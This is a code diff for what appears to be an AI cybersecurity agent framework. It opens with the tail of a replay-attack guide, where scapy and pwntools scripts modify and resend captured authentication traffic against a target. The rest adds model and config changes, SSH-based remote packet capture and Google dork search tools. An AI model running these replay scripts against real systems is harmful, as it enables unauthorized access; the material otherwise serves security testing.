+packets = rdpcap('capture.pcap')
+
+# Find specific packet by index or content
+auth_packet = packets[15]  # Example: packet #15 contains authentication
+
+# Modify the packet
+auth_packet[TCP].seq = 1234567890
+auth_packet[Raw].load = b'modified_password=admin123'
+
+# Write modified packet to new file
+wrpcap('modified_capture.pcap', auth_packet)
+
+# Optionally send the packet
+send(auth_packet)
+```
+
+### Using pwntools for Advanced Exploitation
+
+```python
+from pwn import *
+
+# Set up logging
+context.log_level = 'debug'
+
+# Connect to target
+r = remote('target.example.com', 80)
+
+# Read captured request from file
+with open('captured_request.bin', 'rb') as f:
+    captured_data = f.read()
+
+# Modify specific bytes if needed
+modified_data = captured_data.replace(b'old_value', b'new_value')
+
+# Send the modified request
+r.send(modified_data)
+
+# Receive and analyze response
+response = r.recvall(timeout=5)
+log.success(f"Received {len(response)} bytes")
+
+# Look for success indicators
+if b'access granted' in response.lower():
+    log.success("Replay attack successful!")
+else:
+    log.failure("Replay attack failed")
+```
+
+Remember that all replay attack activities must be performed only in authorized environments with proper permissions. These techniques are intended for security assessment and defensive improvement purposes only.

src/cai/repl/commands/completer.py

@@ -120,6 +120,9 @@ class FuzzyCommandCompleter(Completer):
 
             # Standard models always available
             standard_models = [
+                # Alias models
+                "alias0",
+
                 # Claude 3.7 models
                 "claude-3-7-sonnet-20250219",
 

src/cai/repl/commands/config.py

@@ -134,6 +134,11 @@ ENV_VARS = {
         "default": None 
     },
     24: {
+        "name": "CAI_WORKSPACE_DIR",
+        "description": "Path to the current workspace directory",
+        "default": None 
+    },
+    25: {
         "name": "CAI_STREAM",
         "description": "Boolean to enable real-time, chunked responses instead of full messages.",
         "default": "True"

src/cai/repl/commands/history.py

@@ -22,7 +22,7 @@ class HistoryCommand(Command):
         super().__init__(
             name="/history",
             description="Display the conversation history",
-            aliases=["/h"]
+            aliases=["/his"]
         )
         
     def handle(self, args: Optional[List[str]] = None, 

src/cai/repl/commands/model.py

@@ -67,11 +67,19 @@ class ModelCommand(Command):
         # Define model categories and their models for easy reference
         # pylint: disable=invalid-name
         MODEL_CATEGORIES = {
+            "Alias": [
+                {
+                    "name": "alias0",
+                    "description": (
+                        "Best model for Cybersecurity AI tasks"
+                    )
+                }
+            ],
             "Claude 3.7": [
                 {
                     "name": "claude-3-7-sonnet-20250219",
                     "description": (
-                        "Best model for complex reasoning and creative tasks"
+                        "Excellent model for complex reasoning and creative tasks"
                     )
                 }
             ],

src/cai/sdk/agents/function_schema.py

@@ -263,7 +263,13 @@ def function_schema(
     #   field_name -> (type_annotation, default_value_or_Field(...))
     fields: dict[str, Any] = {}
 
-    for name, param in filtered_params:
+    filtered_params_no_ctf = [
+        (name, param)
+        for name, param in filtered_params
+        if name.lower() != 'ctf'
+    ]
+
+    for name, param in filtered_params_no_ctf:
         ann = type_hints.get(name, param.annotation)
         default = param.default
 

src/cai/sdk/agents/models/openai_chatcompletions.py

@@ -343,22 +343,47 @@ class OpenAIChatCompletionsModel(Model):
                 from cai.util import fix_message_list
                 converted_messages = fix_message_list(converted_messages)
             except Exception as e:
-                logger.warning(f"Failed to fix message list: {e}")
+                pass
                 
             # Get token count estimate before API call for consistent counting
             estimated_input_tokens, _ = count_tokens_with_tiktoken(converted_messages)
             
-            response = await self._fetch_response(
-                system_instructions,
-                input,
-                model_settings,
-                tools,
-                output_schema,
-                handoffs,
-                span_generation,
-                tracing,
-                stream=False,
-            )
+            try:
+                response = await self._fetch_response(
+                    system_instructions,
+                    input,
+                    model_settings,
+                    tools,
+                    output_schema,
+                    handoffs,
+                    span_generation,
+                    tracing,
+                    stream=False,
+                )
+            except KeyboardInterrupt:
+                # Handle KeyboardInterrupt during API call
+                # Make sure to clean up anything needed for proper state before allowing interrupt to propagate
+                
+                # If this call generated any tool calls, they were stored in _Converter.recent_tool_calls but 
+                # we couldn't add them to message_history since we didn't get the response.
+                # We should generate synthetic responses to avoid broken message sequences.
+                
+                # Add synthetic tool output to prevent errors in next turn
+                if hasattr(_Converter, 'tool_outputs') and hasattr(_Converter, 'recent_tool_calls'):
+                    # Add a placeholder response for any tool call generated during this interaction
+                    # We don't know the actual tool calls, so we'll use what we know from timing
+                    # Any tool call that was generated within the last 5 seconds is likely from this interaction
+                    import time
+                    current_time = time.time()
+                    for call_id, call_info in list(_Converter.recent_tool_calls.items()):
+                        if 'start_time' in call_info and (current_time - call_info['start_time']) < 5.0:
+                            # Add a placeholder output for this tool call
+                            _Converter.tool_outputs[call_id] = "Operation interrupted by user (KeyboardInterrupt)"
+                
+                # Let the interrupt propagate up to end the current operation
+                stop_active_timer()
+                start_idle_timer()
+                raise
 
             if _debug.DONT_LOG_MODEL_DATA:
                 logger.debug("Received model response")
@@ -553,6 +578,10 @@ class OpenAIChatCompletionsModel(Model):
                 response.usage.input_tokens = response.usage.prompt_tokens
             if hasattr(response.usage, 'completion_tokens') and not hasattr(response.usage, 'output_tokens'):
                 response.usage.output_tokens = response.usage.completion_tokens
+                
+            # Ensure cost is properly initialized
+            if not hasattr(response, 'cost'):
+                response.cost = None
 
             return ModelResponse(
                 output=items,
@@ -1067,7 +1096,7 @@ class OpenAIChatCompletionsModel(Model):
                                     arguments=arguments_str,
                                     name=parsed['name'],
                                     type="function_call",
-                                    call_id=tool_call_id,
+                                    call_id=tool_call_id[:40],
                                 )
                                 
                                 # Display the tool call in CLI
@@ -1089,7 +1118,7 @@ class OpenAIChatCompletionsModel(Model):
                                                     'name': parsed['name'],
                                                     'arguments': arguments_str
                                                 }),
-                                                'id': tool_call_id,
+                                                'id': tool_call_id[:40],
                                                 'type': 'function'
                                             })
                                         ]
@@ -1171,7 +1200,7 @@ class OpenAIChatCompletionsModel(Model):
                     yield ResponseOutputItemAddedEvent(
                         item=ResponseFunctionToolCall(
                             id=FAKE_RESPONSES_ID,
-                            call_id=function_call.call_id,
+                            call_id=function_call.call_id[:40],
                             arguments=function_call.arguments,
                             name=function_call.name,
                             type="function_call",
@@ -1190,7 +1219,7 @@ class OpenAIChatCompletionsModel(Model):
                     yield ResponseOutputItemDoneEvent(
                         item=ResponseFunctionToolCall(
                             id=FAKE_RESPONSES_ID,
-                            call_id=function_call.call_id,
+                            call_id=function_call.call_id[:40],
                             arguments=function_call.arguments,
                             name=function_call.name,
                             type="function_call",
@@ -1375,6 +1404,7 @@ class OpenAIChatCompletionsModel(Model):
                     self.total_cost
                 )
                 
+                
                 # Stop active timer and start idle timer when streaming is complete
                 stop_active_timer()
                 start_idle_timer()
@@ -1462,7 +1492,7 @@ class OpenAIChatCompletionsModel(Model):
             if new_length != prev_length:
                 logger.debug(f"Message list was fixed: {prev_length} -> {new_length} messages")
         except Exception as e:
-            logger.warning(f"Failed to fix message list: {e}")
+            pass
 
         parallel_tool_calls = (
             True if model_settings.parallel_tool_calls and tools and len(tools) > 0 else NOT_GIVEN
@@ -1588,7 +1618,7 @@ class OpenAIChatCompletionsModel(Model):
                 return await self._fetch_response_litellm_openai(kwargs, model_settings, tool_choice, stream, parallel_tool_calls)
                 
         except litellm.exceptions.BadRequestError as e:
-            # print(color("BadRequestError encountered: " + str(e), fg="yellow"))
+            #print(color("BadRequestError encountered: " + str(e), fg="yellow"))
             if "LLM Provider NOT provided" in str(e):
                 model_str = str(self.model).lower()
                 provider = None
@@ -1701,7 +1731,7 @@ class OpenAIChatCompletionsModel(Model):
                             
                     kwargs["messages"] = fixed_messages
                 except Exception as fix_error:
-                    print(f"Failed to fix message sequence: {fix_error}")
+                    pass
                 
                 return await self._fetch_response_litellm_openai(kwargs, model_settings, tool_choice, stream, parallel_tool_calls)
 
@@ -1775,29 +1805,92 @@ class OpenAIChatCompletionsModel(Model):
         stream: bool,
         parallel_tool_calls: bool
     ) -> ChatCompletion | tuple[Response, AsyncStream[ChatCompletionChunk]]:
-        """Handle standard LiteLLM API calls for OpenAI and compatible models."""
-        if stream:
-            # Standard LiteLLM handling for streaming
-            ret = litellm.completion(**kwargs)
-            stream_obj = await litellm.acompletion(**kwargs)
+        """
+        Handle standard LiteLLM API calls for OpenAI and compatible models.
+        If a ContextWindowExceededError occurs due to a tool_call id being
+        too long, truncate all tool_call ids in the messages to 40 characters
+        and retry once silently.
+        """
+        try:
+            if stream:
+                # Standard LiteLLM handling for streaming
+                ret = litellm.completion(**kwargs)
+                stream_obj = await litellm.acompletion(**kwargs)
 
-            response = Response(
-                id=FAKE_RESPONSES_ID,
-                created_at=time.time(),
-                model=self.model,
-                object="response",
-                output=[],
-                tool_choice="auto" if tool_choice is None or tool_choice == NOT_GIVEN else cast(Literal["auto", "required", "none"], tool_choice),
-                top_p=model_settings.top_p,
-                temperature=model_settings.temperature,
-                tools=[],
-                parallel_tool_calls=parallel_tool_calls or False,
-            )
-            return response, stream_obj
-        else:
-            # Standard OpenAI handling for non-streaming
-            ret = litellm.completion(**kwargs)
-            return ret
+                response = Response(
+                    id=FAKE_RESPONSES_ID,
+                    created_at=time.time(),
+                    model=self.model,
+                    object="response",
+                    output=[],
+                    tool_choice="auto" if tool_choice is None or tool_choice == NOT_GIVEN
+                        else cast(Literal["auto", "required", "none"], tool_choice),
+                    top_p=model_settings.top_p,
+                    temperature=model_settings.temperature,
+                    tools=[],
+                    parallel_tool_calls=parallel_tool_calls or False,
+                )
+                return response, stream_obj
+            else:
+                # Standard OpenAI handling for non-streaming
+                ret = litellm.completion(**kwargs)
+                return ret
+        except Exception as e:
+            error_msg = str(e)
+            # Handle both OpenAI and Anthropic error messages for tool_call_id
+            if (
+                "string too long" in error_msg
+                or "Invalid 'messages" in error_msg
+                and "tool_call_id" in error_msg
+                and "maximum length" in error_msg
+            ):
+                # Truncate all tool_call ids in all messages to 40 characters
+                messages = kwargs.get("messages", [])
+                for msg in messages:
+                    # Truncate tool_call_id in the message itself if present
+                    if (
+                        "tool_call_id" in msg
+                        and isinstance(msg["tool_call_id"], str)
+                        and len(msg["tool_call_id"]) > 40
+                    ):
+                        msg["tool_call_id"] = msg["tool_call_id"][:40]
+                    # Truncate tool_call ids in tool_calls if present
+                    if "tool_calls" in msg and isinstance(msg["tool_calls"], list):
+                        for tool_call in msg["tool_calls"]:
+                            if (
+                                isinstance(tool_call, dict)
+                                and "id" in tool_call
+                                and isinstance(tool_call["id"], str)
+                                and len(tool_call["id"]) > 40
+                            ):
+                                tool_call["id"] = tool_call["id"][:40]
+                kwargs["messages"] = messages
+                # Retry once, silently
+                if stream:
+                    ret = litellm.completion(**kwargs)
+                    stream_obj = await litellm.acompletion(**kwargs)
+                    response = Response(
+                        id=FAKE_RESPONSES_ID,
+                        created_at=time.time(),
+                        model=self.model,
+                        object="response",
+                        output=[],
+                        tool_choice="auto"
+                        if tool_choice is None or tool_choice == NOT_GIVEN
+                        else cast(
+                            Literal["auto", "required", "none"], tool_choice
+                        ),
+                        top_p=model_settings.top_p,
+                        temperature=model_settings.temperature,
+                        tools=[],
+                        parallel_tool_calls=parallel_tool_calls or False,
+                    )
+                    return response, stream_obj
+                else:
+                    ret = litellm.completion(**kwargs)
+                    return ret
+            else:
+                raise
             
     async def _fetch_response_litellm_ollama(
         self,
@@ -1808,40 +1901,60 @@ class OpenAIChatCompletionsModel(Model):
         parallel_tool_calls: bool,
         provider="ollama"
     ) -> ChatCompletion | tuple[Response, AsyncStream[ChatCompletionChunk]]:
+        """
+        Fetches a response from an Ollama or Qwen model using LiteLLM, ensuring
+        that the 'format' parameter is not set to a JSON string, which can cause
+        issues with the Ollama API.
+
+        Args:
+            kwargs (dict): Parameters for the completion request.
+            model_settings (ModelSettings): Model configuration.
+            tool_choice (ChatCompletionToolChoiceOptionParam | NotGiven): Tool choice.
+            stream (bool): Whether to stream the response.
+            parallel_tool_calls (bool): Whether to allow parallel tool calls.
+            provider (str): Provider name, defaults to "ollama".
+
+        Returns:
+            ChatCompletion or tuple[Response, AsyncStream[ChatCompletionChunk]]:
+                The completion response or a tuple for streaming.
+        """
         # Extract only supported parameters for Ollama
         ollama_supported_params = {
             "model": kwargs.get("model", ""),
             "messages": kwargs.get("messages", []),
             "stream": kwargs.get("stream", False)
         }
-        
+
         # Add optional parameters if they exist and are not NOT_GIVEN
         for param in ["temperature", "top_p", "max_tokens"]:
             if param in kwargs and kwargs[param] is not NOT_GIVEN:
                 ollama_supported_params[param] = kwargs[param]
-        
+
         # Add extra headers if available
         if "extra_headers" in kwargs:
             ollama_supported_params["extra_headers"] = kwargs["extra_headers"]
-            
-        # Add tools and tool_choice for compatibility with Qwen
-        if "tools" in kwargs and kwargs.get("tools") and kwargs.get("tools") is not NOT_GIVEN:
-            ollama_supported_params["tools"] = kwargs.get("tools")
-            
-        if "tool_choice" in kwargs and kwargs.get("tool_choice") is not NOT_GIVEN:
-            ollama_supported_params["tool_choice"] = kwargs.get("tool_choice")
 
-        # Remove None values
-        ollama_kwargs = {k: v for k, v in ollama_supported_params.items() if v is not None}
-        
+        # Add tools for compatibility with Qwen
+        if (
+            "tools" in kwargs
+            and kwargs.get("tools")
+            and kwargs.get("tools") is not NOT_GIVEN
+        ):
+            ollama_supported_params["tools"] = kwargs.get("tools")
+
+        # Remove None values and filter out 'response_format'
+        ollama_kwargs = {
+            k: v for k, v in ollama_supported_params.items()
+            if v is not None and k != "response_format"
+        }
+
         # Check if this is a Qwen model
         model_str = str(self.model).lower()
         is_qwen = "qwen" in model_str
-                
         api_base = get_ollama_api_base()
         if "ollama" in provider:
             api_base = api_base.rstrip('/v1')
-        # Create response object for streaming
+
         if stream:
             response = Response(
                 id=FAKE_RESPONSES_ID,
@@ -1849,8 +1962,9 @@ class OpenAIChatCompletionsModel(Model):
                 model=self.model,
                 object="response",
                 output=[],
-                tool_choice="auto" if tool_choice is None or tool_choice == NOT_GIVEN else 
-                    cast(Literal["auto", "required", "none"], tool_choice),
+                tool_choice="auto"
+                if tool_choice is None or tool_choice == NOT_GIVEN
+                else cast(Literal["auto", "required", "none"], tool_choice),
                 top_p=model_settings.top_p,
                 temperature=model_settings.temperature,
                 tools=[],
@@ -1864,8 +1978,6 @@ class OpenAIChatCompletionsModel(Model):
             )
             return response, stream_obj
         else:
-
-        
             # Get completion response
             return litellm.completion(
                 **ollama_kwargs,
@@ -2035,7 +2147,7 @@ class _Converter:
                 items.append(
                     ResponseFunctionToolCall(
                         id=FAKE_RESPONSES_ID,
-                        call_id=tool_call.id,
+                        call_id=tool_call.id[:40],
                         arguments=tool_call.function.arguments,
                         name=tool_call.function.name,
                         type="function_call",
@@ -2254,7 +2366,7 @@ class _Converter:
 
                     tool_calls_param.append(
                         ChatCompletionMessageToolCallParam(
-                            id=tc.get("id", ""),
+                            id=tc.get("id", "")[:40],
                             type=tc.get("type", "function"),
                             function={
                                 "name": function_details.get("name", "unknown_function"),
@@ -2366,7 +2478,7 @@ class _Converter:
                 asst = ensure_assistant_message()
                 tool_calls = list(asst.get("tool_calls", []))
                 new_tool_call = ChatCompletionMessageToolCallParam(
-                    id=file_search["id"],
+                    id=file_search["id"][:40],
                     type="function",
                     function={
                         "name": "file_search_call",
@@ -2409,7 +2521,7 @@ class _Converter:
                     arguments = json.dumps(arguments)
 
                 new_tool_call = ChatCompletionMessageToolCallParam(
-                    id=func_call["call_id"],
+                    id=func_call["call_id"][:40],
                     type="function",
                     function={
                         "name": func_call["name"],

src/cai/sdk/agents/run_to_jsonl.py

@@ -158,7 +158,7 @@ class DataRecorder:  # pylint: disable=too-few-public-methods
         # Obtener el coste de la interacción
         interaction_cost = 0.0
         if hasattr(msg, "cost"):
-            interaction_cost = float(msg.cost)
+            interaction_cost = float(msg.cost) if msg.cost is not None else 0.0
 
         # Usar el total_cost proporcionado o actualizar el interno
         if total_cost is not None:

src/cai/tools/common.py

@@ -127,7 +127,7 @@ class ShellSession:  # pylint: disable=too-many-instance-attributes
             except Exception as e:
                 self.output_buffer.append(f"Error starting container session: {str(e)}")
                 self.is_running = False
-            return
+                return str(e)
 
         # --- Start in CTF ---
         if self.ctf:
@@ -141,8 +141,8 @@ class ShellSession:  # pylint: disable=too-many-instance-attributes
                 self.output_buffer.append(output)
             except Exception as e:  # pylint: disable=broad-except
                 self.output_buffer.append(f"Error executing CTF command: {str(e)}")
-            self.is_running = False 
-            return
+                self.is_running = False 
+                return str(e)
 
         # --- Start Locally (Host) ---
         try:
@@ -167,7 +167,7 @@ class ShellSession:  # pylint: disable=too-many-instance-attributes
         except Exception as e:  # pylint: disable=broad-except
             self.output_buffer.append(f"Error starting local session: {str(e)}")
             self.is_running = False
-
+            return str(e)
     def _read_output(self):
         """Read output from the process"""
         try:
@@ -195,6 +195,7 @@ class ShellSession:  # pylint: disable=too-many-instance-attributes
         except Exception as e:
             self.output_buffer.append(f"Error in read_output loop: {str(e)}")
             self.is_running = False
+            return str(e)
     
 
     def is_process_running(self):
@@ -645,6 +646,8 @@ def _run_local(command, stdout=False, timeout=100, stream=False, call_id=None, t
             
         if stdout:
             print("\033[32m" + error_msg + "\033[0m")
+            return error_msg
+
             
         return error_msg
     except Exception as e:  # pylint: disable=broad-except
@@ -705,6 +708,8 @@ def run_command(command, ctf=None, stdout=False,  # pylint: disable=too-many-arg
     Returns:
         str: Command output, status message, or session ID.
     """
+    if ctf and not hasattr(ctf, "get_shell"):
+        ctf = None
     # Use the active timer during tool execution
     stop_idle_timer()
     start_active_timer()
@@ -1260,13 +1265,10 @@ def run_command(command, ctf=None, stdout=False,  # pylint: disable=too-many-arg
             custom_args=args
         )
         
-        # Switch back to idle mode after local command completes
         stop_active_timer()
         start_idle_timer()
         return result
-        
     except Exception as e:
-        # Ensure we switch back to idle mode if any unexpected error occurs
         stop_active_timer()
         start_idle_timer()
-        raise e
+        raise

src/cai/tools/misc/reasoning.py

@@ -83,3 +83,21 @@ def read_key_findings() -> str:
         return "state.txt file not found. No findings have been recorded."
     except OSError as e:
         return f"Error reading state.txt: {str(e)}"
+
+
+
+@function_tool
+def think(thought: str) -> str:  # pylint: disable=unused-argument
+    """
+    Use the tool to think about something.
+    
+    It will not obtain new information or change the database, but just append
+    the thought to the log. Use it when complex reasoning or some cache memory
+    is needed.
+    
+    Args:
+        thought: A thought to think about.
+    Returns:
+        str: The thought that was processed
+    """
+    return f"{thought}"

src/cai/tools/network/capture_traffic.py

@@ -0,0 +1,156 @@
+#!/usr/bin/env python3
+import paramiko
+import tempfile
+import os
+import subprocess
+import time
+import socket
+import sys
+from contextlib import contextmanager 
+from cai.sdk.agents import function_tool
+
+@function_tool
+def capture_remote_traffic(ip, username, password, interface, capture_filter="", port=22, timeout=10):
+    """
+    Captures network traffic from a remote VM and returns a pipe that can be read by tshark.
+    
+    Args:
+        ip (str): IP address of the remote VM
+        username (str): SSH username for the remote VM
+        password (str): SSH password for the remote VM
+        interface (str): Network interface to capture on (e.g., eth0)
+        capture_filter (str, optional): tcpdump filter expression
+        port (int, optional): SSH port (default: 22)
+        timeout (int, optional): Connection timeout in seconds (default: 10)
+        
+    Returns:
+        subprocess.Popen: A process with stdout that can be read by tshark
+        
+    Raises:
+        ConnectionError: If connection to the remote VM fails
+        RuntimeError: If traffic capture fails to start
+    """
+    try:
+        # Create SSH client and connect to remote VM
+        client = paramiko.SSHClient()
+        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
+        
+        print(f"Connecting to {ip}:{port} as {username}...")
+        client.connect(ip, port=port, username=username, password=password, timeout=timeout)
+        
+        # Verify interface exists
+        _, stdout, stderr = client.exec_command(f"ip link show {interface}")
+        if stdout.channel.recv_exit_status() != 0:
+            error = stderr.read().decode().strip()
+            raise RuntimeError(f"Interface {interface} not found: {error}")
+        
+        # Check if we have necessary permissions
+        _, stdout, stderr = client.exec_command("which tcpdump")
+        if stdout.channel.recv_exit_status() != 0:
+            raise RuntimeError("tcpdump not found on remote system")
+        
+        # Build tcpdump command with filter if provided
+        tcpdump_cmd = f"tcpdump -U -i {interface} -w - "
+        if capture_filter:
+            tcpdump_cmd += f"'{capture_filter}'"
+        
+        print(f"Starting capture on {ip}:{interface}...")
+        
+        # Start tcpdump process on remote machine and get its output
+        stdin, stdout, stderr = client.exec_command(tcpdump_cmd)
+        
+        # Check if tcpdump started successfully (non-blocking check)
+        time.sleep(1)
+        if stdout.channel.exit_status_ready():
+            error = stderr.read().decode().strip()
+            raise RuntimeError(f"Failed to start tcpdump: {error}")
+        
+        # Create a named pipe (FIFO) for tshark to read from
+        fifo_path = tempfile.mktemp()
+        os.mkfifo(fifo_path)
+        
+        # Start a process to read from SSH and write to the FIFO
+        def pipe_ssh_to_fifo():
+            try:
+                with open(fifo_path, 'wb') as fifo:
+                    while True:
+                        data = stdout.read(4096)
+                        if not data:
+                            break
+                        fifo.write(data)
+                        fifo.flush()
+            except (BrokenPipeError, OSError) as e:
+                print(f"Error in pipe_ssh_to_fifo: {str(e)}")
+            finally:
+                print("Closing FIFO due to error or completion.")
+
+        import threading
+        thread = threading.Thread(target=pipe_ssh_to_fifo, daemon=True)
+        thread.start()
+        
+        print(f"Capture running. Data available at: {fifo_path}")
+        print(f"You can now use: tshark -r {fifo_path} -c 100 [options]")
+        
+        # Example usage in the context manager
+        subprocess.run(["tshark", "-r", fifo_path, "-c", "100"])
+        
+        return fifo_path
+        
+    except paramiko.AuthenticationException:
+        raise ConnectionError("Authentication failed. Check username and password.")
+    except paramiko.SSHException as e:
+        raise ConnectionError(f"SSH connection error: {str(e)}")
+    except socket.timeout:
+        raise ConnectionError(f"Connection timed out after {timeout} seconds")
+    except Exception as e:
+        raise RuntimeError(f"Unexpected error: {str(e)}")
+
+
+@function_tool # TODO: not ideal to decorete this context manager.
+@contextmanager
+def remote_capture_session(ip, username, password, interface, capture_filter="", port=22):
+    """
+    Context manager for remote traffic capture that automatically cleans up resources.
+    
+    Usage:
+        with remote_capture_session("192.168.1.100", "admin", "password", "eth0") as fifo_path:
+            # Run tshark to read from the FIFO
+            subprocess.run(["tshark", "-r", fifo_path, "-T", "fields", "-e", "ip.src"])
+    """
+    fifo_path = None
+    client = None
+    
+    try:
+        fifo_path = capture_remote_traffic(ip, username, password, interface, 
+                                          capture_filter=capture_filter, port=port)
+        yield fifo_path
+    finally:
+        if fifo_path and os.path.exists(fifo_path):
+            try:
+                os.unlink(fifo_path)
+            except:
+                pass
+
+if __name__ == "__main__":
+    # Example usage
+    if len(sys.argv) < 5:
+        print("Usage: capture_traffic.py <ip> <username> <password> <interface> [filter]")
+        sys.exit(1)
+    
+    ip = sys.argv[1]
+    username = sys.argv[2]
+    password = sys.argv[3]
+    interface = sys.argv[4]
+    capture_filter = sys.argv[5] if len(sys.argv) > 5 else ""
+    
+    try:
+        with remote_capture_session(ip, username, password, interface, capture_filter) as fifo_path:
+            # Keep the script running until interrupted
+            print("Press Ctrl+C to stop the capture")
+            while True:
+                time.sleep(1)
+    except KeyboardInterrupt:
+        print("\nCapture stopped")
+    except Exception as e:
+        print(f"Error: {str(e)}")
+        sys.exit(1)

src/cai/tools/web/google_search.py

@@ -9,8 +9,10 @@ import os
 import requests
 from typing import List, Optional, Dict, Tuple
 from dotenv import load_dotenv
+from cai.sdk.agents import function_tool
 
 
+@function_tool
 def google_search(query: str, num_results: int = 10) -> str:
     """
     Perform a regular Google search and return a formatted string with results.
@@ -34,6 +36,7 @@ def google_search(query: str, num_results: int = 10) -> str:
     return formatted_results
 
 
+@function_tool
 def google_dork_search(dork_query: str, num_results: int = 100) -> str:
     """
     Perform a Google dork search and return a formatted string with URLs.

src/cai/util.py

@@ -848,7 +848,6 @@ def fix_message_list(messages):  # pylint: disable=R0914,R0915,R0912
             i += 2
         else:
             i += 1
-    
     return sanitized_messages
 
 def cli_print_tool_call(tool_name="", args="", output="", prefix="  "):
@@ -2107,8 +2106,8 @@ def print_message_history(messages, title="Message History"):
     table = Table(show_header=True, header_style="bold magenta", expand=True)
     table.add_column("#", style="dim", width=3)
     table.add_column("Role", style="cyan", width=10)
-    table.add_column("Content", width=40)
-    table.add_column("Metadata", width=30)
+    table.add_column("Content", width=1000)
+    table.add_column("Metadata", width=1000)
     
     # Process each message
     for i, msg in enumerate(messages):
@@ -2448,6 +2447,42 @@ def _create_tool_panel_content(tool_name, args, output, execution_info=None, tok
             # Fallback if syntax highlighting fails, just add raw output
             group_content.extend([Text("\n"), Text(output)])
     
+    # Fallback for other tools to display their output if not handled above
+    elif output and output.strip(): # Check if output is not None and not just whitespace
+        output_lang_name = "text"
+        try:
+            # Attempt to parse as JSON to infer language
+            json.loads(output)
+            output_lang_name = "json"
+        except json.JSONDecodeError:
+            # Basic check for XML-like content if not JSON
+            if output.strip().startswith("<") and output.strip().endswith(">"):
+                output_lang_name = "xml"
+            # Add more detections for other types (e.g., YAML) if needed
+        
+        # Use get_language_from_code_block for consistent language mapping
+        syntax_lang = get_language_from_code_block(output_lang_name)
+        
+        output_syntax = Syntax(
+            output,
+            syntax_lang,
+            theme="monokai",
+            background_color="#272822", # Consistent theme
+            word_wrap=True,
+            line_numbers=True, # Usually helpful for structured output
+            indent_guides=True
+        )
+        
+        output_display_panel = Panel(
+            output_syntax,
+            title="Tool Output", # Generic title
+            border_style="green", # Consistent
+            title_align="left",
+            box=ROUNDED,
+            padding=(0, 1)
+        )
+        group_content.extend([Text("\n"), output_display_panel])
+
     # Add token info if available
     if token_content:
         group_content.extend([Text("\n"), token_content])